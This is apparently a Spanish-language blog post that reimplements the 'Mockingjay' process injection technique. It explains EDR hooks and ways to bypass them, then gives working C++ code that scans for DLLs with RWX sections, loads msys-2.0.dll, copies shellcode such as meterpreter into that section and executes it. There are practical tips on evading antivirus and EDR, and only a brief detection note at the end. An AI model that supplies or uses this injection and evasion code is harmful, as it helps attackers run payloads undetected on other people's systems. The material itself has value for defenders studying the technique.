En mi búsqueda aleatoria de información, me encontré con este approach de la mano de (securityjoes.com) para evitar el proceso de hacer llamados a API utilizando llamados a API para crear un espacio de memoria y modificar permisos de la misma para hacerla de Lectura/Escritura/Ejecución (RWX). Los cuales a menudos son bien monitoreados por los EDRs y XDR.
Si nos centramos en las formas mas comunes de crear nuevos espacios en memoria, modificar permisos y utilizarlos a nuestra conveniencia, nos encontraremos con llamadas comunes dependiendo en las formas mas básicas de técnica empleada.
Partiendo de esto, la técnica se centra en localizar secciones dentro de las distintas DLLs con permisos RWX con esto, para Self Injection, podríamos cargar la DLL y utilizar ese espacio en memoria. Ya para procesos remotos, podríamos abrir un proceso que utilice dicha librería, escribir en la posición de memoria con dichos permisos y esperar la ejecución del mismo.
AVs/EDRs Hooks
Si necesitamos explicar que es un hook utilizando un contexto no técnico, podríamos irnos a la traducción misma (Gancho), o llevarlo a una analogía simple. Podríamos ver el hook como el acceso a un recinto militar, vas a entrar, hay alguien esperando, revisa que lo que vayas a introducir no tenga inconveniente alguno y te deja pasar, de caso contrario, TABLA.
Este se hace sobrescribiendo el inicio de las funciones a monitorear, usualmente lo mas cercano al kernel posible (ntdll.dll), y pasando la ejecución al EDR, el cual valida que todo este correcto, antes de pasar el flujo nuevamente a la función original.
Visto en modo gráfico seria algo así:
Ya sabiendo esto, tienes varias formas de hacer bypass a estas verificaciones:
- Buscas otra API que haga relativamente lo mismo y que no tenga hook.
- Buscas otra forma de obtener el mismo resultado.
- Haces unhook (Ten en cuenta que el EDR podría validar cada cierto tiempo, si el hook esta o no en su lugar).
Beware The Mockingjay
Mockingjay Process Injection, como ya mencionamos anteriormente, se centra en buscar DLLs con secciones RWX, en las cuales pueda escribir código sin la necesidad de reservar memoria utilizando los típicos llamados al API y los cambios de protección de memoria en los mismos. Al utilizar el espacio de memoria cargado en la DLL, evitamos el tener que almacenar memoria nosotros mismos, llegando a una forma distinta de obtener el mismo resultado (Un espacio de memoria para nuestro shellcode).
Divide y Vencerás
El primer inconveniente con el que me encontré fue con las excepciones de acceso no autorizado a los distintos directorios del sistema. Quizás es una forma poco eficiente, pero recorrer el listado de directorios de forma recursiva, me fue funcional, y de paso, voy extrayendo las DLLs que encuentro en los distintos subdirectorios:
void listDirectoriesAndDLLs(const filesystem::path& basePath) {
try {
for (const auto& entry : filesystem::directory_iterator(basePath)) {
if (entry.is_directory()) {
listDirectoriesAndDLLs(entry.path());
}
else if (entry.path().extension() == ".dll")
{
dllPaths.push_back(entry.path());
}
}
}
catch (const filesystem::filesystem_error& ex) {
//Just to Ignore
}
}
Un segundo paso para a nivel de archivos, enumerar las características de las distintas secciones en las DLLs encontradas.
struct PESection{
char name[8];
unsigned int virtualSize;
unsigned int virtualAddress;
unsigned int sizeOfRawAddress;
unsigned int pointerToRawData;
unsigned int pointerToRelocation;
unsigned int pointerToLineNumbers;
unsigned short numberOfRelocations;
unsigned short numberOfLineNumbers;
unsigned int Characteristics;
};
struct IMAGE_DOS_HEADER {
unsigned short e_magic;
unsigned short e_cblp;
unsigned short e_cp;
unsigned short e_crlc;
unsigned short e_cparhdr;
unsigned short e_minalloc;
unsigned short e_maxalloc;
unsigned short e_ss;
unsigned short e_sp;
unsigned short e_csum;
unsigned short e_ip;
unsigned short e_cs;
unsigned short e_lfarlc;
unsigned short e_ovno;
unsigned short e_res[4];
unsigned short e_oemid;
unsigned short e_oeminfo;
unsigned short e_res2[10];
unsigned int e_lfanew;
};
struct PEHeader {
unsigned int signature;
unsigned short machine;
unsigned short numberOfSections;
unsigned int timeDateStamp;
unsigned int pointerToSymbolTable;
unsigned int numberOfSymbols;
unsigned short sizeOfOptionalHeader;
unsigned short Characteristics;
};
void getDLLSectionInfo(const filesystem::path& dllPath) {
ifstream dll(dllPath, ios::binary);
IMAGE_DOS_HEADER dosHeader;
PEHeader peHeader;
PESection peSection;
if (!dll.is_open()) {
cerr << "Failed to open file: " << dllPath << endl;
}
else {
dll.seekg(0, ios::beg);
dll.read(reinterpret_cast<char*>(&dosHeader), sizeof(dosHeader));
if (dosHeader.e_magic == 0x5a4d)
{
dll.seekg(dosHeader.e_lfanew, ios::beg);
dll.read(reinterpret_cast<char*>(&peHeader), sizeof(peHeader));
if (peHeader.signature == 0x00004550) {
dll.seekg(peHeader.sizeOfOptionalHeader, ios::cur);
for (int i = 0; i < peHeader.numberOfSections; i++)
{
dll.read(reinterpret_cast<char*>(&peSection), sizeof(peSection));
if ((peSection.Characteristics & 0xFF000000) == 0xe0000000)
cout << dllPath << "Vulnerable at Section " << peSection.name << endl; }
}
}
}
}
Este punto quizás sea el mas incomodo, y es necesario entender el formato PE para a nivel de archivos, leer la estructura y localizar los valores que necesitas para confirmar los permisos que deseas. El diagrama debajo muestra el calculo que realiza el código anterior:
Al igual que en el PoC del equipo de researchers que publico esta tecnica, obtuve el mismo archivo. No estoy al tanto de que otras tantas librerías tendrán este fallo, pero es sencillo de automatizar la forma de buscarlas.
Hay algo como nota al margen que podemos tomar en consideración con la librería que tiene dicha sección con los permisos que andamos buscando, y que esta disponible en Visual Studio 2022.
- Esta digitalmente firmada.
- Es utilizada por archivos necesarios para utilizar Git desde Visual Studio.
- El propósito de la firma es para validar que el software no fue alterado después de la publicación, y asegurar que el software viene de un software publisher con permisos para firmar utilizando dicho certificado.
Ya en el momento que localizamos la librería podemos cargarla en memoria para nuestro proceso, escribir nuestro shellcode en la sección de memoria con los permisos de Lectura/Escritura/Ejecución, y ejecutar el código almacenado en la dirección de memoria:
void mockingjay(filesystem::path dllPath, unsigned int vulnerableRVA, vector<BYTE> shellcode) {
HMODULE hDll = LoadLibraryW(dllPath.c_str());
HMODULE rwxSectionAddr = (HMODULE)((PBYTE)hDll + vulnerableRVA);
memcpy(rwxSectionAddr, shellcode.data(), shellcode.size());
((void(*)())rwxSectionAddr)();
}
Y esto aun funciona?
Al día de hoy, podría decirles que si, pero hay ciertas cosas a tomar en cuenta:
- Recuerden revisar o tomar las validaciones pertinentes al tipo de arquitectura tanto del proceso desde el cual estas ejecutando, la DLL que cargas y el shellcode a colocar en la sección vulnerable.
-
La tecnica se limita a conseguirte un espacio en memoria con privilegios sospechosos para la mayoría de las soluciones de Antivirus y EDR, sin utilizar llamadas a API que podrian tener un hook; el comportamiento de tu operación y las formas de operar del C2 que elijas, son propensas a detección.
- El tamaño de tu shellcode esta limitado al tamaño de la sección en memoria, si el espacio en memoria es corto, recuerda que un shellcode stageless no es tu opción.
Conclusión
Si bien en este articulo se trata solo el caso de self-injection, en la publicación original (link aquí) abordan ambas formas, tanto desde self-injection a remote process injection. El enfoque de esta publicación fue centrado en la inyección de algo tan común como un meterpreter, pero de manera mas elaborada puedes evadir o realizar operaciones tanto con direct syscalls como indirect syscalls, el limite es la imaginación y el espacio en memoria.
Como oportunidades de detección, podrías buscar la dll msys-2.0.dll
, siendo cargada por un proceso no confiable (Ten en cuenta que la DLL podría tener un nombre distinto), así como utilidades GNU en Windows siendo ejecutadas por procesos poco comunes.
Blooper
Hago hincapié en que revisen que la arquitectura de su payload, la DLL y el ejecutable en cuestión coincidan. Reescribí el código de C-Sharp a C++ (en este fluyo mas cómodo) pensando que había hecho algo mal, cuando me encontré con el mismo error, y después de un debug intenso, note que el payload lo había creado para 32 bits, y la dirección de ejecución se mal-formaba.